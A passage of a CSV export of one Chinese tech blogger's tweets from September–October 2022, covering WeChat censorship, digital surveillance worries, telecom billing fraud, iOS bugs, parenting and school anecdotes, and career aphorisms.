10:21:27+00:00,79,12,10,,是的，等过两天我的产品搞完后，我全力支持大家自建……,,https://twitter.com/haoel/status/1583040695664664576\n1209,1583038499317432325,2022-10-20 10:12:44+00:00,4,0,2,,@XKJTIXcS8O62CeT @DashHuang 不是的，裁员还要陪 N+1 的。但是绑定损失的意思是，你要把钱拿出来让公司活下去……比如，你会把你钱拿出来按市场价买公司的股票，这个是跟公司共进退的比较正规的方式……,,https://twitter.com/haoel/status/1583038499317432325\n1210,1583037058347544576,2022-10-20 10:07:00+00:00,55,3,11,,@DashHuang 我觉得一句话就好了——你不能只想着分肉吃的时候，如果公司亏损了你是否也会来一起承担呢？ 绑定收益的同时是不是也要绑定损失？,,https://twitter.com/haoel/status/1583037058347544576\n1211,1582996527106052096,2022-10-20 07:25:57+00:00,71,18,7,,\"英文学习时间：这个脱口秀的英文还是很容易听懂的。演员叫黄鹤，所以，她的英文名叫 He Huang， 她说她的名字 He 发音是 ho / hoe ，这两个词都是俚语，等价于 whore（参看：https://t.co/n1li4NFGN6），这样笑点就出来了，跟后面的leftover yummy &amp; cheap, take me home and eat me 就对应起来了……\",\"[TextLink(text='english.stackexchange.com/questions/5136…', url='https://english.stackexchange.com/questions/513653/is-ho-hoe-basically-an-equivalent-of-whore-which-differs-only-stylisticall', tcourl='https://t.co/n1li4NFGN6', indices=(96, 119))]\",https://twitter.com/haoel/status/1582996527106052096\n1212,1582975352434933761,2022-10-20 06:01:48+00:00,138,17,17,,@songma 人间不一定值得 🤪🤡 https://t.co/wkAZhxEJgO,,https://twitter.com/haoel/status/1582975352434933761\n1213,1582915019959808001,2022-10-20 02:02:04+00:00,22,5,0,,\"@LingTing12 一直在玩 He -&gt;Whore-&gt;leftover-&gt; yummy &amp; cheap -&gt; eat me 的梗，然后，增加了covid 和婚姻梗……\n\n原视频：https://t.co/4GKz8COg4l\",\"[TextLink(text='youtu.be/k_rNaqV8B1c', url='https://youtu.be/k_rNaqV8B1c', tcourl='https://t.co/4GKz8COg4l', indices=(107, 130))]\",https://twitter.com/haoel/status/1582915019959808001\n1214,1582710598575751169,2022-10-19 12:29:46+00:00,307,70,4,,下面这个更易读,,https://twitter.com/haoel/status/1582710598575751169\n1215,1582688376066519041,2022-10-19 11:01:28+00:00,809,161,59,,\"观察过几个被炸微信群，有如下特征：\n \ni = 国内用户\no = 国外用户\n\n1）所有的 i 只能看到自己的发言\n2）o 可以看到所有人的发言\n3）如果 i 被封，i无发在群内发言，也看不到任何人的发言\n4）如果o被封，o可以看所有人的发言，所有 i 看不到o的发言，但别的o还是看得到\n5）如果所有的i被解封，群被解封\",,https://twitter.com/haoel/status/1582688376066519041\n1216,1582245961098633216,2022-10-18 05:43:28+00:00,22,0,2,,@somkanel @laoyang945 PS5,,https://twitter.com/haoel/status/1582245961098633216\n1217,1582240327288881152,2022-10-18 05:21:05+00:00,7,0,1,,@cloudwu @tinyfool 满分170，实际上你还是没及格……😂😂,,https://twitter.com/haoel/status/1582240327288881152\n1218,1582059827395584001,2022-10-17 17:23:50+00:00,8,1,6,,@tinyfool https://t.co/PSUsOduGmG,,https://twitter.com/haoel/status/1582059827395584001\n1219,1581508742155096065,2022-10-16 04:54:01+00:00,22,2,1,,@yihong0618 生孩子等于重新在成长一次,,https://twitter.com/haoel/status/1581508742155096065\n1220,1581325441968709633,2022-10-15 16:45:39+00:00,4,0,5,,@bitweedx64 美国区iCloud 家庭共享，意思是，我全家人都在美区……,,https://twitter.com/haoel/status/1581325441968709633\n1221,1581321365411401728,2022-10-15 16:29:27+00:00,527,56,38,,以后，在 IM 上，除商务之外，我会尽可能不用微信，我已经给父母老婆孩子配了 iPhone，家庭共享了美区的 iCloud，所以可以把全家人拉到 iMessage 和 FaceTime 上……好朋友能翻墙的，上telegram找我，不能的，就通过手机和短信联系……仅可能的让世界好一点点……,,https://twitter.com/haoel/status/1581321365411401728\n1222,1581309946674585600,2022-10-15 15:44:05+00:00,703,132,46,,\"前两天，有朋友推了这篇微信被封的文章给我，https://t.co/Cv7giTYxEa\n\n看完后令我细思极恐，今天我们的生活已数字化在了，二维码已全方位地控制着我们的生活，不仅限制我们交流，还限制我们交易，甚至可以限制我们出行……\n\n所以，自己的数字化和非数字化生活尽量还要跨云多活，这样才能高可用……\",\"[TextLink(text='mp.weixin.qq.com/s/yLDY8C8yQNfF…', url='https://mp.weixin.qq.com/s/yLDY8C8yQNfF4a2-jJNWtQ', tcourl='https://t.co/Cv7giTYxEa', indices=(21, 44))]\",https://twitter.com/haoel/status/1581309946674585600\n1223,1581306656381489152,2022-10-15 15:31:00+00:00,3,0,0,,@MHC21839026 好，我计划计划,,https://twitter.com/haoel/status/1581306656381489152\n1224,1581304586521825280,2022-10-15 15:22:47+00:00,5,0,0,,@xyxy33456 不要只看现在，要学会看未来,,https://twitter.com/haoel/status/1581304586521825280\n1225,1581303941601509376,2022-10-15 15:20:13+00:00,0,0,0,,@lg810312 https://t.co/LvAJnW9Rdl,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1581303786324099073', tcourl='https://t.co/LvAJnW9Rdl', indices=(10, 33))]\",https://twitter.com/haoel/status/1581303941601509376\n1226,1581303786324099073,2022-10-15 15:19:36+00:00,149,7,11,,有些人觉得我在杠……你们是不是不知道有好些人是一夜之间全网销号的？我想告诉大家，今天，你的人生已被数字化了，所以，不是因为微信被封，你就以为可以在别的平台下豁免，你这就too young too simple了……你已经把你的数字化人生都上传到了这个可以随意干掉你的元宇宙中，少用多用哪个是没意义的…,,https://twitter.com/haoel/status/1581303786324099073\n1227,1581299696634515456,2022-10-15 15:03:21+00:00,3,0,4,,@busyjaylee 你以为high table只会封微信，不会同时把你支付宝也封了……好些人是一夜之间全网销号的……所以too young,,https://twitter.com/haoel/status/1581299696634515456\n1228,1581263631978704897,2022-10-15 12:40:02+00:00,180,5,18,,如果只是有这样认识的话，那还是too young ……支付宝一样限制，银行账号冻结，限制飞机高铁购票，限制出境，给你赋个黄码…… 让人线上线下社死的手段太多了……连个寻衅滋事的罪名都不用……,,https://twitter.com/haoel/status/1581263631978704897\n1229,1580866516832071680,2022-10-14 10:22:03+00:00,2,0,1,,@kevinzhow 饿了,,https://twitter.com/haoel/status/1580866516832071680\n1230,1580796768987381761,2022-10-14 05:44:54+00:00,0,0,1,,@tourcoder @CaliCastleMusic @RatherJie 欢迎加入讨论,,https://twitter.com/haoel/status/1580796768987381761\n1231,1580782918674182144,2022-10-14 04:49:51+00:00,0,0,0,,@zcsrs @CaliCastleMusic @RatherJie 国外，是我写错了吗？马上改,,https://twitter.com/haoel/status/1580782918674182144\n1232,1580778563720007680,2022-10-14 04:32:33+00:00,114,19,6,,\"这两天跟 @CaliCastleMusic  和 @RatherJie 做了一个线上的 Podcast《Ep.5 一起聊聊团队协同 》https://t.co/0TOMauK1rq ，配合这个 podcast, 我写了一篇 blog https://t.co/0jnduFTuEg 欢迎更多的朋友参与讨论。\",\"[TextLink(text='kjsyp.fm/podcasts/43961…', url='https://kjsyp.fm/podcasts/43961/episodes/ep5-ft-megaease', tcourl='https://t.co/0TOMauK1rq', indices=(67, 90)), TextLink(text='coolshell.cn/articles/22298…', url='https://coolshell.cn/articles/22298.html', tcourl='https://t.co/0jnduFTuEg', indices=(117, 140))]\",https://twitter.com/haoel/status/1580778563720007680\n1233,1580372135742087168,2022-10-13 01:37:33+00:00,622,34,39,,居然这么多人在问是不是段子？昨晚我还跟班主任通了个电话，班主任跟我说，她也是受命行事，具体为什么她也不知道，应该不是学校的规定，因为学校也不可能有这样的规定。相关的交谈记录就不发了。,,https://twitter.com/haoel/status/1580372135742087168\n1234,1580364546014789632,2022-10-13 01:07:24+00:00,1,0,1,,@CharlesC_ai 当然不是,,https://twitter.com/haoel/status/1580364546014789632\n1235,1580193067293847552,2022-10-12 13:46:00+00:00,3715,541,343,,我家孩子前排有个男生，天天闹的不行，我家孩子非常的烦，私下找他谈了好几次都改不了，前排男生软硬不吃。于是我家孩子无奈之下，只好找老师说要求换座位，没想到老师说，二十大以前都不能换座位，因为每个人的座位都报上去了……,,https://twitter.com/haoel/status/1580193067293847552\n1236,1580091520354766853,2022-10-12 07:02:29+00:00,25,2,4,,@MiaBleem 很多程序员都读成了 circle，包括我也是， 但你的发音是对的 https://t.co/jfMiOoxG6p,\"[TextLink(text='youtu.be/i-X1A8sv_jA?t=…', url='https://youtu.be/i-X1A8sv_jA?t=32', tcourl='https://t.co/jfMiOoxG6p', indices=(43, 66))]\",https://twitter.com/haoel/status/1580091520354766853\n1237,1580057768332955649,2022-10-12 04:48:22+00:00,0,0,0,,@air_feng 对,,https://twitter.com/haoel/status/1580057768332955649\n1238,1580021613076287488,2022-10-12 02:24:42+00:00,10,1,2,,@chenshaoju 谢谢，就是这个！,,https://twitter.com/haoel/status/1580021613076287488\n1239,1580020692950532097,2022-10-12 02:21:03+00:00,478,51,44,,求助：前两天看到一个外国记者体验北京的的监控系统，在短短几分钟内就定位了他，然后被一群保安团团围住的视频，我找不到了，求助一下大家。,,https://twitter.com/haoel/status/1580020692950532097\n1240,1579719568452640768,2022-10-11 06:24:29+00:00,51,1,4,,@xuwenhao 谢谢给人这个建议 🤣,,https://twitter.com/haoel/status/1579719568452640768\n1241,1579718930964578304,2022-10-11 06:21:57+00:00,0,0,0,,@rikyyy809 双卡啊……,,https://twitter.com/haoel/status/1579718930964578304\n1242,1579716176351236096,2022-10-11 06:11:00+00:00,0,0,1,,@KongJiJustin 说是要4，可我是iPhone 11啊……,,https://twitter.com/haoel/status/1579716176351236096\n1243,1579711451752960001,2022-10-11 05:52:14+00:00,30,1,10,,升级完后iMessage也𣊬间激活，FaceTime 也可以用了……还好我拒绝了技术支持的“还原所有设置”或“重新退出并登录Apple ID”的请求，这些啥也不懂的“机器人”只会让你还原设置……,,https://twitter.com/haoel/status/1579711451752960001\n1244,1579709092020772866,2022-10-11 05:42:51+00:00,21,3,13,,更新：苹果的后台客服没有按计划打电话给我，而且我还发现了我的iMessage/FaceTime 不可用了，－直都在激活中（超过了48小时）……然后今天上午看到了iOS 16.0.3的更新，更新日志的第一条就是推送通知的bug，更新完后，等了半个小时，通知终于来了…… https://t.co/INJFT51Umy,,https://twitter.com/haoel/status/1579709092020772866\n1245,1579686476543315968,2022-10-11 04:12:59+00:00,0,0,0,,@j_yooyo 是的，我也刚看到，谢谢提醒。 https://t.co/OjJUvaEAno,,https://twitter.com/haoel/status/1579686476543315968\n1246,1579633217413738496,2022-10-11 00:41:21+00:00,1,0,0,,@wangweiggsn 看来我成老年人了……😓,,https://twitter.com/haoel/status/1579633217413738496\n1247,1579457839479001094,2022-10-10 13:04:28+00:00,1,0,0,,@AllenGuj4026926 没有，今天忽然出现了一条微信通知，然后又没有了……,,https://twitter.com/haoel/status/1579457839479001094\n1248,1579435877633495041,2022-10-10 11:37:12+00:00,15,0,2,,你要想想，为什么一个黑客会拦截我的短信去为运营商做贡献，而不是偷我的银行卡你的钱呢？,,https://twitter.com/haoel/status/1579435877633495041\n1249,1579432426878963712,2022-10-10 11:23:29+00:00,150,4,20,,客户答不岀来，我也不为难客服了，就说把款退给我就好了……这事也不是第一次了，中移动也一样，两年前被莫名其妙的开通了个流量包服务，说是通过了个第三方的听都没听说过的网站开通的，客服说我误操作，我说，开通服务都要有短信下发的确认的，你们查一下短信吧？结果没查到，最终也是退钱了事……,,https://twitter.com/haoel/status/1579432426878963712\n1250,1579429631215951873,2022-10-10 11:12:23+00:00,361,36,62,,因为手机没通知，所以就主动查本月话费账单。发现从6月份开始，每个月被多扣了30元的流量包，于是电话10010，说是我主动打电话开通的，我让客服把录音调出来，过了一会儿录音调出来，发现是个带山东口音的人用了用我的身份证信息开通的……我问客服，为啥不发短信验证？另外，这人是你们自己的人吧？,,https://twitter.com/haoel/status/1579429631215951873\n1251,1579026641162240007,2022-10-09 08:31:02+00:00,35,8,3,,补充一下，如果 cock 的 size 比较小，从裤兜里摸不到，那就在裤兜里搞个洞，把手从裤兜里伸出去。所以，也有变种说：Man with a hole in pocket feel cocky all day. https://t.co/JhoGQi4gOz,,https://twitter.com/haoel/status/1579026641162240007\n1252,1578977836026982400,2022-10-09 05:17:06+00:00,2,0,3,,@fujohnwang 可能是电压不稳，导致损坏了,,https://twitter.com/haoel/status/1578977836026982400\n1253,1578968848875020288,2022-10-09 04:41:24+00:00,0,0,0,,@fixopen @cloudwu 这句太对了，不能有任直接或间接的关系，这个是心理咨询的大忌,,https://twitter.com/haoel/status/1578968848875020288\n1254,1578968570318708736,2022-10-09 04:40:17+00:00,12,0,1,,@cloudwu 亲朋好友间的倾吐算常见的 ，找心理咨询的好多都是常人不能接受，受到重大打击，致人自闭、抑郁、自残甚至轻生。好多事，都是令人难以启齿的，比如：被性侵、虐待、乱伦、有控制不住的偷窥癖、恋物癖……还有你完全难以想像和不能接受的东西……我老婆说，有些她也接受不了，只能转更高阶的人处理……,,https://twitter.com/haoel/status/1578968570318708736\n1255,1578962232444325891,2022-10-09 04:15:06+00:00,94,11,4,,\"告密这种事并不是第一次讨论了，附上一些参考吧：\n知乎上的打小报告的讨论 https://t.co/PaYuQNsqxL\n讨论美国举报作弊\nhttps://t.co/ZgO1aErpJJ\n搜狐上的\nhttps://t.co/fkGpozB7Lv\nPS:奇葩说有期节目是《举报作弊我错了吗》，网友投票中有 93%  都觉得没错，所以，举报文化在国内还是很有市场的…\",\"[TextLink(text='zhihu.com/question/20548…', url='https://www.zhihu.com/question/20548826', tcourl='https://t.co/PaYuQNsqxL', indices=(36, 59)), TextLink(text='m.aisixiang.com/data/118062.ht…', url='https://m.aisixiang.com/data/118062.html', tcourl='https://t.co/ZgO1aErpJJ', indices=(69, 92)), TextLink(text='sohu.com/a/207036182_53…', url='https://www.sohu.com/a/207036182_538826', tcourl='https://t.co/fkGpozB7Lv', indices=(98, 121))]\",https://twitter.com/haoel/status/1578962232444325891\n1256,1578956927194652672,2022-10-09 03:54:01+00:00,205,15,18,,好些人不以为然，我再补充一条，首先分清楚，作弊也好，抄作业也好，没有上交手机也好，这些事情都没有伤害到别人，告密或举报或打小报告，只会让整个事情变得越来复杂，矛盾越来越多，正如上面视频所说，大家会变成恶意竞争，而不是相互帮助。这里再转个经典的电影视频https://t.co/k2EArqUziJ,\"[TextLink(text='youtube.com/watch?v=8O2e4x…', url='https://www.youtube.com/watch?v=8O2e4xA60sY', tcourl='https://t.co/k2EArqUziJ', indices=(125, 148))]\",https://twitter.com/haoel/status/1578956927194652672\n1257,1578947770479968256,2022-10-09 03:17:38+00:00,19,0,4,,@cloudwu 别的不说，只说倾诉，大多数时候，你一定不会想找亲人的，最多会找找信得过的朋友，但更多的人其实是想找个树洞。,,https://twitter.com/haoel/status/1578947770479968256\n1258,1578941560124715009,2022-10-09 02:52:57+00:00,20,0,5,,@RonneyMeow 这就是举报,,https://twitter.com/haoel/status/1578941560124715009\n1259,1578940787173490688,2022-10-09 02:49:53+00:00,97,3,6,,@bettercallyoung 我当然知道，所以，我要把这种仇恨意识转换成“帮助别人”，仇恨意识非常不利用于人的成长。中国教育擅长放纵人的仇恨意识。,,https://twitter.com/haoel/status/1578940787173490688\n1260,1578939390331473921,2022-10-09 02:44:20+00:00,2,0,0,,@han_hanmouzhong 你要标准化的答案，你知道找谁,,https://twitter.com/haoel/status/1578939390331473921\n1261,1578938888873136128,2022-10-09 02:42:21+00:00,1349,229,86,,昨天孩子说，很想举报一个同学，因为那同学考试的时候用手机搜答案，孩子觉得很不公平。我说，如果你是想帮助那位同学，那应该直接跟他说，而不要举报，举报是一种特务行为，非常糟糕。不过最好方式是让他自己得到教训，他才会真正去改。关于公平，我给孩子看了下面的视频，https://t.co/7It4xxYKIV,\"[TextLink(text='youtube.com/watch?v=jCZsK5…', url='https://www.youtube.com/watch?v=jCZsK5ZrwrQ', tcourl='https://t.co/7It4xxYKIV', indices=(127, 150))]\",https://twitter.com/haoel/status/1578938888873136128\n1262,1578916110270795776,2022-10-09 01:11:50+00:00,79,5,9,,建墙还是要向我们学习…… https://t.co/chQKLc9WsP,,https://twitter.com/haoel/status/1578916110270795776\n1263,1578908678786142209,2022-10-09 00:42:18+00:00,8,0,2,,@tinyfool 要，考证容易，但是升级难,,https://twitter.com/haoel/status/1578908678786142209\n1264,1578739867684458498,2022-10-08 13:31:30+00:00,208,18,18,,正好我老婆也是个心理咨询师，每周花大量的做督导和咨询，近年来，因为疫情找来的心理咨询非常之多，我也不知道她是哪个流派的。我把你的言论给她看了。她说，差不多是这样，不过心理咨询不是像科学那样找答案，也不是给对方洗脑，而是倾听，帮助和反馈……因为每个人有每个人的答案……,,https://twitter.com/haoel/status/1578739867684458498\n1265,1578730015922876416,2022-10-08 12:52:21+00:00,9,1,7,,更新：找了苹果的客服，从一般技术支持到高级技术支持，共享屏幕后搞各种操作，搞了四十多分钟，依然搞不定，说只能再转后台…… https://t.co/Wq5kwmMEnV,,https://twitter.com/haoel/status/1578730015922876416\n1266,1578675460329721856,2022-10-08 09:15:34+00:00,0,0,0,,@AllenGuj4026926 没用,,https://twitter.com/haoel/status/1578675460329721856\n1267,1578672052713594880,2022-10-08 09:02:02+00:00,0,0,1,,@x_cong_wade 如何debug?,,https://twitter.com/haoel/status/1578672052713594880\n1268,1578671992261079040,2022-10-08 09:01:47+00:00,0,0,0,,@farmer1992 没有更早的通知,,https://twitter.com/haoel/status/1578671992261079040\n1269,1578671159054172160,2022-10-08 08:58:29+00:00,0,0,0,,@yu_dust 没有更早的通知了,,https://twitter.com/haoel/status/1578671159054172160\n1270,1578671058126704640,2022-10-08 08:58:05+00:00,0,0,0,,@banyejinghungui 重启了两次了,,https://twitter.com/haoel/status/1578671058126704640\n1271,1578661822689050624,2022-10-08 08:21:23+00:00,0,0,2,,@AllenGuj4026926 打开了定时推送摘要，我关闭试试,,https://twitter.com/haoel/status/1578661822689050624\n1272,1578660884980715520,2022-10-08 08:17:39+00:00,25,2,31,,求助：为什么要 iOS 16 没有任何 App 的信息通知了。注：app 通知打开了，没开勿扰模式。,,https://twitter.com/haoel/status/1578660884980715520\n1273,1578585942788435968,2022-10-08 03:19:52+00:00,1,0,0,,@janlay @sofish 哈哈哈，笑死我了，我要截图转发……,,https://twitter.com/haoel/status/1578585942788435968\n1274,1577928860582105088,2022-10-06 07:48:51+00:00,1,0,0,,@Cyb3rJB 不知道，这两天第一次玩,,https://twitter.com/haoel/status/1577928860582105088\n1275,1577928718730698757,2022-10-06 07:48:17+00:00,0,0,1,,@kalaka914 还好原来没玩……,,https://twitter.com/haoel/status/1577928718730698757\n1276,1577900690521075713,2022-10-06 05:56:55+00:00,40,0,7,,据说这个游戏浪费了很多人的时间，这几天仔佃玩了一下，难是很难，不过我似乎找到了“不可描述的”套路，尝试个5、6次1小时内就能过…… （注：昨天外出一天没玩） https://t.co/OJ2goSkRSE,,https://twitter.com/haoel/status/1577900690521075713\n1277,1576874575249297409,2022-10-03 09:59:30+00:00,101,3,3,,京通快速看夕阳…… https://t.co/DDLNIQfpzy,,https://twitter.com/haoel/status/1576874575249297409\n1278,1576783905624969216,2022-10-03 03:59:12+00:00,1,0,1,,@winguse 用不了这么复杂，拉圾堆里捡个纸箱，自己主动就进去了…… https://t.co/mBKfR0icTj,,https://twitter.com/haoel/status/1576783905624969216\n1279,1576077299882942464,2022-10-01 05:11:25+00:00,19,0,5,,@nishuang 你叫我皓叔……😓,,https://twitter.com/haoel/status/1576077299882942464\n1280,1575910191270285313,2022-09-30 18:07:23+00:00,0,0,0,,@gtfJEe8njplLkXq 殊死搏斗的时候对方要求先接电话……,,https://twitter.com/haoel/status/1575910191270285313\n1281,1575848835389149190,2022-09-30 14:03:34+00:00,402,49,28,,今年最佳爽片《子弹列车》…… https://t.co/8azRVnR3gq,,https://twitter.com/haoel/status/1575848835389149190\n1282,1575810380433018880,2022-09-30 11:30:46+00:00,0,0,0,,@luosheng 你说的对。我一会删除,,https://twitter.com/haoel/status/1575810380433018880\n1283,1575789413279244291,2022-09-30 10:07:27+00:00,158,39,5,,看了半天看懂了 https://t.co/U7e1t5OQ4H,,https://twitter.com/haoel/status/1575789413279244291\n1284,1575768140373319680,2022-09-30 08:42:55+00:00,89,12,5,,\"🔆 你要学会应对变化，而不是拥抱变化，因为应对变化意味着你要学会在变化中探求不变的东西，洞悉变化背后的原因和，以及学于高级的应对方法。\n\n💊 你要学会enjoy变化，因为通常来说，这个世界不是你说了算的，这个社会天天都会来改变你，你越是挣扎，你就越痛苦，放弃反抗，摆好姿势，躺平享受吧……\",,https://twitter.com/haoel/status/1575768140373319680\n1285,1575764493933559808,2022-09-30 08:28:26+00:00,1,0,0,,@amehochan @xyzzyxyzzy0077 @wey_gu @MiaBleem 各位都是“妇科圣手”啊 https://t.co/5l1Pe882ju,,https://twitter.com/haoel/status/1575764493933559808\n1286,1575721632240267264,2022-09-30 05:38:07+00:00,5,0,4,,@songma 我买了好多年了，到今天都没有玩完……哎,,https://twitter.com/haoel/status/1575721632240267264\n1287,1575455592063246336,2022-09-29 12:00:58+00:00,61,4,5,,@MiaBleem 最可怕的是“侧切”，无需麻药，因为分娩的疼痛是顶级疼痛，超过用刀割肉，所以在分娩过程中用刀割肉人是不会觉得疼的……哎，向每一个母亲致敬！,,https://twitter.com/haoel/status/1575455592063246336\n1288,1575446968188297217,2022-09-29 11:26:42+00:00,307,17,40,,今天参加孩子学校的家长会，第一个发言的今年学校中考第一名的毕业生来讲她的心得，全程只说学习成绩和考试心得。第二个是一个家长代表，第一段落把老师夸上天了，然后还是紧密的围绕学生的学习成绩说，一要听老师的话，二要找自己的问题……我只能偷偷地戴上了耳机听歌……好不容易敖完了……,,https://twitter.com/haoel/status/1575446968188297217\n1289,1575355423942508544,2022-09-29 05:22:56+00:00,4,0,1,,s/首眼/着眼,,https://twitter.com/haoel/status/1575355423942508544\n1290,1575347841542733824,2022-09-29 04:52:48+00:00,157,21,3,,\"🔆 写作、分享、帮助会让你得到更多，更好地成长。写作是一种深度思考，分享会让你得到更多的反馈，帮助会让你拥有更多的经历。\n\n💊 社交、风口、流量会让你更快地得到，更好的挣钱。社交扩大自己的交际面，获得更多的关注度，风口可以更容易挣钱，流量可以挣得更多。\",,https://twitter.com/haoel/status/1575347841542733824\n1291,1575347839474970624,2022-09-29 04:52:48+00:00,128,10,6,,\"🔆 你要热爱你的职业或事业，这样你才会不断精进自己的技能，首眼整个行业，才会有更多的可能性，这时的你才会是“自由”的\n\n💊 你要热爱公司和领导，要跟对人，站对了队，这样你才能够会获得公司和主管的重用，你才会在公司里获得更高的职位和更多薪水\",,https://twitter.com/haoel/status/1575347839474970624\n1292,1575347836941500416,2022-09-29 04:52:47+00:00,183,17,6,,\"🔆 对于技术来说，标准、通用、简化的功能和自动化的流程总是所有问题的最终的答案\n\n💊 对于混职场来说，只有把代码搞复杂搞混乱，你才会被有更多的存在感，你的老板才会觉得你无法被取代\",,https://twitter.com/haoel/status/1575347836941500416\n1293,1575347834974371840,2022-09-29 04:52:47+00:00,1202,238,34,,\"写一组鸡汤和毒药（不定期更新）\n\n🔆 如果要做一家伟大的产品，就不要迁就和放纵用户，要引导和教育用户，帮用户成长，让用户变得更好。\n\n💊 如果你要做一个挣钱的产品，千万不要尝试教育用户，你要学会如何利用用户的愚蠢，并迁就并放纵用户的人性阴暗面。\",,https://twitter.com/haoel/status/1575347834974371840\n1294,1574941683363348480,2022-09-28 01:58:52+00:00,2,0,2,,@ThaddeusJiang 那就html的所见即所得的编辑器,,https://twitter.com/haoel/status/1574941683363348480\n1295,1574937336781029377,2022-09-28 01:41:36+00:00,8,0,3,,@ThaddeusJiang 用html啊……,,https://twitter.com/haoel/status/1574937336781029377\n1296,1574644617487601664,2022-09-27 06:18:26+00:00,40,0,9,,@kevinzhow 斧子找雷神,,https://twitter.com/haoel/status/1574644617487601664\n1297,1574638533205061633,2022-09-27 05:54:16+00:00,140,12,14,,《隐入尘烟》第一次看爱情故事还可以用这种方式来拍，牛！ https://t.co/V9VVl4J4P6,,https://twitter.com/haoel/status/1574638533205061633\n1298,1574637369533210626,2022-09-27 05:49:38+00:00,29,0,2,,@songma 像我这种经历过很多公司的人会告诉你——我也是第一次听到这样的事！,,https://twitter.com/haoel/status/1574637369533210626\n1299,1574629092355252225,2022-09-27 05:16:45+00:00,18,0,2,,@songma 你工作这么多年都只在一家公司……还好意思倚老卖老……🤣🤪,,https://twitter.com/haoel/status/1574629092355252225\n1300,1573866297502629893,2022-09-25 02:45:41+00:00,3,0,2,,@3721_helper 为什么你要在晚上转这号？,,https://twitter.com/haoel/status/1573866297502629893\n1301,1573457442197086208,2022-09-23 23:41:02+00:00,301,46,22,,为什么要干开源项目？听听光绪皇帝是怎么说的…… https://t.co/C6NXOvOfum,,https://twitter.com/haoel/status/1573457442197086208\n1302,1573318719614623746,2022-09-23 14:29:48+00:00,1,0,1,,@xicilion 哈哈,,https://twitter.com/haoel/status/1573318719614623746\n1303,1573306295318609921,2022-09-23 13:40:26+00:00,5,0,2,,@ghosTM55 股票型的,,https://twitter.com/haoel/status/1573306295318609921\n1304,1573301102048845824,2022-09-23 13:19:47+00:00,974,97,37,,今天，银行客户经理又来跟我推销他们的理财产品：“陈先生，你看你的帐户上有一些闲置资金，收益率非常低，我建议你还是配置一下，买点投资理财产品吧”，我说，“你因果关系搞反了，正因为我不买投资理财产品，所以我才可能有闲置资金”……你看，懂逻辑就有这个好处，一句话就可以把天永久聊死……,,https://twitter.com/haoel/status/1573301102048845824\n1305,1573291112651194368,2022-09-23 12:40:06+00:00,0,0,0,,@ThaddeusJiang 有啊，elon mask，jack ma都是啊，什么都在干……,,https://twitter.com/haoel/status/1573291112651194368\n1306,1573253408509014017,2022-09-23 10:10:16+00:00,1,0,1,,@wey_gu 尽快就医，我爸差点因为这个病过世的,,https://twitter.com/haoel/status/1573253408509014017\n1307,1573249046889861120,2022-09-23 09:52:56+00:00,11,0,1,,@xiaopeng163 一样的，只要不翻墙，LinkedIn打开的还是国内的领英……,,https://twitter.com/haoel/status/1573249046889861120\n1308,1573246607407054848,2022-09-23 09:43:15+00:00,31,0,6,,@DJWZ 不都是以周，月，年为单位的吗？38天是个什么单位？“大会以后放出来”的单位么？,,https://twitter.com/haoel/status/1573246607407054848\n1309,1573245983944736769,2022-09-23 09:40:46+00:00,40,4,3,,那就改成：“艺多不压身，成功的秘诀就是不断尝试”……😜,,https://twitter.com/haoel/status/1573245983944736769\n1310,1573245850335477762,2022-09-23 09:40:14+00:00,33,0,2,,@ThaddeusJiang 那就改成：“艺多不压身，成功的秘诀就是不断尝试”……,,https://twitter.com/haoel/status/1573245850335477762\n1311,1573245139262541824,2022-09-23 09:37:25+00:00,2,0,1,,@wey_gu 胰腺炎啊，准备不吃不喝1-2周吧，体重降10公斤,,https://twitter.com/haoel/status/1573245139262541824\n1312,1573244117353897984,2022-09-23 09:33:21+00:00,132,13,16,,\"这个是CSDN那边给我做的采访，采访是面对面的，本来聊的是东软健康码的事，但是编辑整理出来的文章变成了最近流行的小程序员游戏。估计是后面想想，聊东软的健康码有不可预料的风险。所以，所有跟东软相关的内容都砍掉了，这篇采访稿也就更纯粹了一些\nhttps://t.co/kijZNtplQR\",\"[TextLink(text='mp.weixin.qq.com/s/g4c7ovftzkTY…', url='https://mp.weixin.qq.com/s/g4c7ovftzkTYRSfuRtgn7A', tcourl='https://t.co/kijZNtplQR', indices=(119, 142))]\",https://twitter.com/haoel/status/1573244117353897984\n1313,1573123220185976833,2022-09-23 01:32:57+00:00,2,0,0,,@disksing https://t.co/vhN1AL13vh,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1549968656309727234', tcourl='https://t.co/vhN1AL13vh', indices=(10, 33))]\",https://twitter.com/haoel/status/1573123220185976833\n1314,1572987584279871489,2022-09-22 16:33:59+00:00,33,1,5,,微软云CTO说新项目还是用 Rust 还是少用 C/C++……,,https://twitter.com/haoel/status/1572987584279871489\n1315,1572878863621062658,2022-09-22 09:21:58+00:00,64,4,1,,@disksing 如果程序运行稳定，某种意义上来说，运维人员和测试人员就是一种浪费；如果家里一开水龙头就有水，一开开关就有电，说明每时每每刻都有闲置资源在被浪费；如果一个人有时间上班发推，那么他其实是工作不饱和。降本增效意味着不要容忍把事做好…… 🤣🤪😜 （注：写个小段子，主要想说明因果关系没找对）,,https://twitter.com/haoel/status/1572878863621062658\n1316,1572853296586690561,2022-09-22 07:40:22+00:00,266,18,46,,\"Windows 的 Linux 子系统支持 Systemd 了，我感觉Windows 的工程团队实在是太累了，不如一步到位，把Windows 的内核换成 Linux 吧，或是把 Windows 的GUI/DirectX 移植到 Linux 上吧……\nhttps://t.co/sM2FrWtnXT\",\"[TextLink(text='devblogs.microsoft.com/commandline/sy…', url='https://devblogs.microsoft.com/commandline/systemd-support-is-now-available-in-wsl/', tcourl='https://t.co/sM2FrWtnXT', indices=(125, 148))]\",https://twitter.com/haoel/status/1572853296586690561\n1317,1572835104476778501,2022-09-22 06:28:05+00:00,10,0,1,,@wuyuesanren 你再开个频道介绍日本的生活吧,,https://twitter.com/haoel/status/1572835104476778501\n1318,1572802055332581376,2022-09-22 04:16:45+00:00,9,1,3,,@waylybaye 这种小耳机产品天生缺陷,,https://twitter.com/haoel/status/1572802055332581376\n1319,1572575107184496642,2022-09-21 13:14:57+00:00,3,0,3,,@3721_helper 每周日18:30一集的日本动画片《森林大帝》,,https://twitter.com/haoel/status/1572575107184496642\n1320,1572534828897304576,2022-09-21 10:34:54+00:00,3,0,2,,@rangoye @3721_helper 我都经历过，你们的年纪我基本知道了,,https://twitter.com/haoel/status/1572534828897304576\n1321,1572513020571693057,2022-09-21 09:08:14+00:00,371,15,5,,\"@zhu0588 赛峰飞机发动机（贵阳）有限公司 